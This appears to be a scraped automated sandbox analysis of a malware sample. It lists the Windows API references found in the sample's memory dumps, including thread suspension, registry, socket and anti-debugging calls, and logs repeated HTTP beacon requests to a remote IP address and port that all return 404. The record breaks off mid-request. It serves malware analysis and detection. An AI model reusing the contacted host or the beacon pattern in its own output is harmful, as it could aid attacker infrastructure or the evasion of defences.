File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API (Indicator: "WSAStartup"; Source: "00000000-00000308.00000000.66577.C33CF000.00000002.mdmp") Found reference to API (Indicator: "getsockopt"; Source: "00000000-00000308.00000000.66577.C33CF000.00000002.mdmp") Found reference to API (Indicator: "CreateToolhelp32Snapshot"; Source: "00000000-00000308.00000000.66577.C33CF000.00000002.mdmp") Found reference to API (Indicator: "Module32First"; Source: "00000000-00000308.00000000.66577.C33CF000.00000002.mdmp") Found reference to API (Indicator: "Module32Next"; Source: "00000000-00000308.00000000.66577.C33CF000.00000002.mdmp") Found reference to API (Indicator: "getservbyname"; Source: "00000000-00000308.00000000.66577.C33CF000.00000002.mdmp") Found reference to API (Indicator: "ioctlsocket"; Source: "00000000-00000308.00000000.66577.C33CF000.00000002.mdmp") Found reference to API (Indicator: "getsockname"; Source: "00000000-00000308.00000000.66577.C33CF000.00000002.mdmp") Found reference to API (Indicator: "gethostbyname"; Source: "00000000-00000308.00000000.66577.C33CF000.00000002.mdmp") Found reference to API (Indicator: "MessageBoxW"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp, 00000000-00000308.00000001.68500.C34A7000.00000002.mdmp") Found reference to API (Indicator: "RtlCaptureStackBackTrace"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "IsWow64Process"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "RegDeleteKeyExW"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "FlsAlloc"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "FlsFree"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "FlsSetValue"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionEx"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "AreFileApisANSI"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "CompareStringEx"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "FlsGetValue"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "LCMapStringEx"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "LocaleNameToLCID"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "RegisterClassW"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "CreateWindowExW"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "DispatchMessageW"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "PostQuitMessage"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "DefWindowProcW"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesW"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp, 00000000-00000308.00000001.68500.C34A7000.00000002.mdmp, 00000000-00000308.00000002.70418.C6C2D000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp, 00000000-00000308.00000001.68500.C34A7000.00000002.mdmp, 00000000-00000308.00000002.70418.C6C2D000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryW"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp, 00000000-00000308.00000001.68500.C34A7000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp, 00000000-00000308.00000001.68500.C34A7000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesExW"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp, 00000000-00000308.00000001.68500.C34A7000.00000002.mdmp, 00000000-00000308.00000002.70418.C6C2D000.00000002.mdmp") Found reference to API (Indicator: "WSAIoctl"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "CryptAcquireContextW"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "CryptAcquireContextA"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "CryptGenRandom"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "RegQueryInfoKeyW"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "RegCreateKeyExW"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExW"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "RegDeleteKeyW"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExW"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "RegSetValueExW"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "RegDeleteValueW"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "RegFlushKey"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "RegEnumKeyExW"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "RegEnumValueW"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp, 00000000-00000308.00000001.68500.C34A7000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSection"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp, 00000000-00000308.00000001.68500.C34A7000.00000002.mdmp") Found reference to API (Indicator: "FlushFileBuffers"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "SetFilePointer"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp, 00000000-00000308.00000001.68500.C34A7000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp, 00000000-00000308.00000001.68500.C34A7000.00000002.mdmp") Found reference to API (Indicator: "GetFileSize"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "ReadFile"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "ResumeThread"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObject"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "GetExitCodeThread"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "SwitchToThread"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "GetSystemInfo"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleA"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp, 00000000-00000308.00000001.68500.C34A7000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceFrequency"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "GetTimeZoneInformation"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp, 00000000-00000308.00000001.68500.C34A7000.00000002.mdmp") Found reference to API (Indicator: "SetEnvironmentVariableW"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "GetEnvironmentStringsW"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "FreeEnvironmentStringsW"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp, 00000000-00000308.00000001.68500.C34A7000.00000002.mdmp, 00000000-00000308.00000002.70418.C6C2D000.00000002.mdmp") Found reference to API (Indicator: "GetEnvironmentVariableW"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp, 00000000-00000308.00000001.68500.C34A7000.00000002.mdmp") Found reference to API (Indicator: "CreatePipe"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp, 00000000-00000308.00000001.68500.C34A7000.00000002.mdmp, 00000000-00000308.00000002.70418.C6C2D000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThread"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp, 00000000-00000308.00000001.68500.C34A7000.00000002.mdmp, 00000000-00000308.00000002.70418.C6C2D000.00000002.mdmp") Found reference to API (Indicator: "DuplicateHandle"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleScreenBufferInfo"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp, 00000000-00000308.00000001.68500.C34A7000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleOutputCP"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "WideCharToMultiByte"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp, 00000000-00000308.00000001.68500.C34A7000.00000002.mdmp") Found reference to API (Indicator: "MultiByteToWideChar"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp, 00000000-00000308.00000001.68500.C34A7000.00000002.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp, 00000000-00000308.00000001.68500.C34A7000.00000002.mdmp") Found reference to API (Indicator: "TryEnterCriticalSection"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryA"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp, 00000000-00000308.00000001.68500.C34A7000.00000002.mdmp") Found reference to API (Indicator: "SystemTimeToTzSpecificLocalTime"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "TzSpecificLocalTimeToSystemTime"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "CreateProcessW"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "GetHandleInformation"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "SetHandleInformation"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageW"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp, 00000000-00000308.00000001.68500.C34A7000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "CreateSemaphoreA"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "ReleaseSemaphore"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "VirtualAlloc"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "VirtualFree"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "RtlCaptureContext"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp, 00000000-00000308.00000001.68500.C34A7000.00000002.mdmp, 00000000-00000308.00000002.70418.C6C2D000.00000002.mdmp") Found reference to API (Indicator: "GetEnvironmentVariableA"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "lstrlenW"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "ExpandEnvironmentStringsW"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp, 00000000-00000308.00000001.68500.C34A7000.00000002.mdmp, 00000000-00000308.00000002.70418.C6C2D000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileW"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp, 00000000-00000308.00000001.68500.C34A7000.00000002.mdmp") Found reference to API (Indicator: "FindNextFileW"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp, 00000000-00000308.00000001.68500.C34A7000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp, 00000000-00000308.00000001.68500.C34A7000.00000002.mdmp") Found reference to API (Indicator: "CreateDirectoryW"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "SetEvent"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "CreateEventW"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "OpenThread"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "TerminateThread"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "SuspendThread"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "GetThreadContext"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleExW"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp, 00000000-00000308.00000001.68500.C34A7000.00000002.mdmp") Found reference to API (Indicator: "VerSetConditionMask"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "VerifyVersionInfoW"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "FreeLibraryAndExitThread"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "InitializeSListHead"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp, 00000000-00000308.00000001.68500.C34A7000.00000002.mdmp, 00000000-00000308.00000002.70418.C6C2D000.00000002.mdmp") Found reference to API (Indicator: "RtlLookupFunctionEntry"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp, 00000000-00000308.00000001.68500.C34A7000.00000002.mdmp, 00000000-00000308.00000002.70418.C6C2D000.00000002.mdmp") Found reference to API (Indicator: "RtlVirtualUnwind"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp, 00000000-00000308.00000001.68500.C34A7000.00000002.mdmp, 00000000-00000308.00000002.70418.C6C2D000.00000002.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp, 00000000-00000308.00000001.68500.C34A7000.00000002.mdmp, 00000000-00000308.00000002.70418.C6C2D000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp, 00000000-00000308.00000001.68500.C34A7000.00000002.mdmp, 00000000-00000308.00000002.70418.C6C2D000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp, 00000000-00000308.00000001.68500.C34A7000.00000002.mdmp, 00000000-00000308.00000002.70418.C6C2D000.00000002.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp, 00000000-00000308.00000001.68500.C34A7000.00000002.mdmp, 00000000-00000308.00000002.70418.C6C2D000.00000002.mdmp") Found reference to API (Indicator: "IsProcessorFeaturePresent"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp, 00000000-00000308.00000001.68500.C34A7000.00000002.mdmp, 00000000-00000308.00000002.70418.C6C2D000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp, 00000000-00000308.00000001.68500.C34A7000.00000002.mdmp, 00000000-00000308.00000002.70418.C6C2D000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp, 00000000-00000308.00000001.68500.C34A7000.00000002.mdmp") Found reference to API (Indicator: "TlsAlloc"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp, 00000000-00000308.00000001.68500.C34A7000.00000002.mdmp") Found reference to API (Indicator: "TlsGetValue"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp, 00000000-00000308.00000001.68500.C34A7000.00000002.mdmp") Found reference to API (Indicator: "TlsSetValue"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp, 00000000-00000308.00000001.68500.C34A7000.00000002.mdmp") Found reference to API (Indicator: "TlsFree"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp, 00000000-00000308.00000001.68500.C34A7000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "RaiseException"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "SetStdHandle"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp, 00000000-00000308.00000001.68500.C34A7000.00000002.mdmp") Found reference to API (Indicator: "CreateThread"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "ExitThread"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "WriteConsoleW"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "SetFilePointerEx"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp, 00000000-00000308.00000001.68500.C34A7000.00000002.mdmp, 00000000-00000308.00000002.70418.C6C2D000.00000002.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "HeapReAlloc"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleMode"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp, 00000000-00000308.00000001.68500.C34A7000.00000002.mdmp") Found reference to API (Indicator: "ReadConsoleW"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp, 00000000-00000308.00000001.68500.C34A7000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleCP"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "GetFileSizeEx"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "CompareStringW"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "LCMapStringW"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "SetEndOfFile"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileExW"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "IsValidCodePage"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "GetACP"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "GetOEMCP"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "GetCPInfo"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "GetCommandLineA"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "GetCommandLineW"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "GetStringTypeW"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "HeapSize"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API (Indicator: "DeregisterEventSource"; Source: "00000000-00000308.00000001.68500.C34A7000.00000002.mdmp") Found reference to API (Indicator: "RegisterEventSourceW"; Source: "00000000-00000308.00000001.68500.C34A7000.00000002.mdmp") Found reference to API (Indicator: "ReportEventW"; Source: "00000000-00000308.00000001.68500.C34A7000.00000002.mdmp") Found reference to API (Indicator: "GetProcessWindowStation"; Source: "00000000-00000308.00000001.68500.C34A7000.00000002.mdmp") Found reference to API (Indicator: "GetUserObjectInformationW"; Source: "00000000-00000308.00000001.68500.C34A7000.00000002.mdmp") Found reference to API (Indicator: "BCryptGenRandom"; Source: "00000000-00000308.00000001.68500.C34A7000.00000002.mdmp") Found reference to API (Indicator: "ConvertFiberToThread"; Source: "00000000-00000308.00000001.68500.C34A7000.00000002.mdmp") Found reference to API (Indicator: "ConvertThreadToFiber"; Source: "00000000-00000308.00000001.68500.C34A7000.00000002.mdmp") Found reference to API (Indicator: "SwitchToFiber"; Source: "00000000-00000308.00000001.68500.C34A7000.00000002.mdmp") Found reference to API (Indicator: "DeleteFiber"; Source: "00000000-00000308.00000001.68500.C34A7000.00000002.mdmp") Found reference to API (Indicator: "CreateFiber"; Source: "00000000-00000308.00000001.68500.C34A7000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTime"; Source: "00000000-00000308.00000001.68500.C34A7000.00000002.mdmp, 00000000-00000308.00000002.70418.C6C2D000.00000002.mdmp") Found reference to API (Indicator: "SystemTimeToFileTime"; Source: "00000000-00000308.00000001.68500.C34A7000.00000002.mdmp, 00000000-00000308.00000002.70418.C6C2D000.00000002.mdmp") Found reference to API (Indicator: "SetConsoleMode"; Source: "00000000-00000308.00000001.68500.C34A7000.00000002.mdmp") Found reference to API (Indicator: "ReadConsoleA"; Source: "00000000-00000308.00000001.68500.C34A7000.00000002.mdmp") Found reference to API (Indicator: "DisableThreadLibraryCalls"; Source: "00000000-00000308.00000002.70418.C6C2D000.00000002.mdmp")2f:T569,Found reference to API "ResumeThread" (Indicator: "ResumeThread"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API "OpenThread" (Indicator: "OpenThread"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API "SuspendThread" (Indicator: "SuspendThread"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API "GetThreadContext" (Indicator: "GetThreadContext"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API "CreateThread" (Indicator: "CreateThread"; File: "9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a") Found reference to API "ResumeThread" (Indicator: "ResumeThread"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API "OpenThread" (Indicator: "OpenThread"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API "SuspendThread" (Indicator: "SuspendThread"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API "GetThreadContext" (Indicator: "GetThreadContext"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00000308.00000001.68500.2AB58000.00000002.mdmp")30:T332a,"GET /img/images/header/149C156F2F3AFE90.gif HTTP/1.1 User-Agent: dlang-requests Host: 201.77.179.66:8082 Connection: Keep-Alive Accept-Encoding: gzip,deflate" Response ==> HTTP/1.1 404 Not Found Date: Tue 12 Dec 2023 11:29:58 GMT Server: Apache Content-Length: 196 Keep-Alive: timeout=5 max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 with response body ==>3C21444F43545950452048544D4C205055424C494320222D2F2F494554462F2F4454442048544D4C20322E302F2F454E223E0A3C68746D6C3E3C686561643E0A....... "GET /img/images/header/149C156F2F3AFE90.gif HTTP/1.1 User-Agent: dlang-requests Host: 201.77.179.66:8082 Connection: Keep-Alive Accept-Encoding: gzip,deflate" Response ==> HTTP/1.1 404 Not Found Date: Tue 12 Dec 2023 11:30:00 GMT Server: Apache Content-Length: 196 Keep-Alive: timeout=5 max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 with response body ==>3C21444F43545950452048544D4C205055424C494320222D2F2F494554462F2F4454442048544D4C20322E302F2F454E223E0A3C68746D6C3E3C686561643E0A....... "GET /img/images/header/149C156F2F3AFE90.gif HTTP/1.1 User-Agent: dlang-requests Host: 201.77.179.66:8082 Connection: Keep-Alive Accept-Encoding: gzip,deflate" Response ==> HTTP/1.1 404 Not Found Date: Tue 12 Dec 2023 11:30:01 GMT Server: Apache Content-Length: 196 Keep-Alive: timeout=5 max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 with response body ==>3C21444F43545950452048544D4C205055424C494320222D2F2F494554462F2F4454442048544D4C20322E302F2F454E223E0A3C68746D6C3E3C686561643E0A....... "GET /img/images/header/149C156F2F3AFE90.gif HTTP/1.1 User-Agent: dlang-requests Host: 201.77.179.66:8082 Connection: Keep-Alive Accept-Encoding: gzip,deflate" Response ==> HTTP/1.1 404 Not Found Date: Tue 12 Dec 2023 11:30:02 GMT Server: Apache Content-Length: 196 Keep-Alive: timeout=5 max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 with response body ==>3C21444F43545950452048544D4C205055424C494320222D2F2F494554462F2F4454442048544D4C20322E302F2F454E223E0A3C68746D6C3E3C686561643E0A....... "GET /img/images/header/149C156F2F3AFE90.gif HTTP/1.1 User-Agent: dlang-requests Host: 201.77.179.66:8082 Connection: Keep-Alive Accept-Encoding: gzip,deflate" Response ==> HTTP/1.1 404 Not Found Date: Tue 12 Dec 2023 11:30:04 GMT Server: Apache Content-Length: 196 Keep-Alive: timeout=5 max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 with response body ==>3C21444F43545950452048544D4C205055424C494320222D2F2F494554462F2F4454442048544D4C20322E302F2F454E223E0A3C68746D6C3E3C686561643E0A....... "GET /img/images/header/149C156F2F3AFE90.gif HTTP/1.1 User-Agent: dlang-requests Host: 201.77.179.66:8082 Connection: Keep-Alive Accept-Encoding: gzip,deflate" Response ==> HTTP/1.1 404 Not Found Date: Tue 12 Dec 2023 11:30:05 GMT Server: Apache Content-Length: 196 Keep-Alive: timeout=5 max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 with response body ==>3C21444F43545950452048544D4C205055424C494320222D2F2F494554462F2F4454442048544D4C20322E302F2F454E223E0A3C68746D6C3E3C686561643E0A....... "GET /img/images/header/149C156F2F3AFE90.gif HTTP/1.1 User-Agent: dlang-requests Host: 201.77.179.66:8082 Connection: Keep-Alive Accept-Encoding: gzip,deflate" Response ==> HTTP/1.1 404 Not Found Date: Tue 12 Dec 2023 11:30:07 GMT Server: Apache Content-Length: 196 Keep-Alive: timeout=5 max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 with response body ==>3C21444F43545950452048544D4C205055424C494320222D2F2F494554462F2F4454442048544D4C20322E302F2F454E223E0A3C68746D6C3E3C686561643E0A....... "GET /img/images/header/149C156F2F3AFE90.gif 